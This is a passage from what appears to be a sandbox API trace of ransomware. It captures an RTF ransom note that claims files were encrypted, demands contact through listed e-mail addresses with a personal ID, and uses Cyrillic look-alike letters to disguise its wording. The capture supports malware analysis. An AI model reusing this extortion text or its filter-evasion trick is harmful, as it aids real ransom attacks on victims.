T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 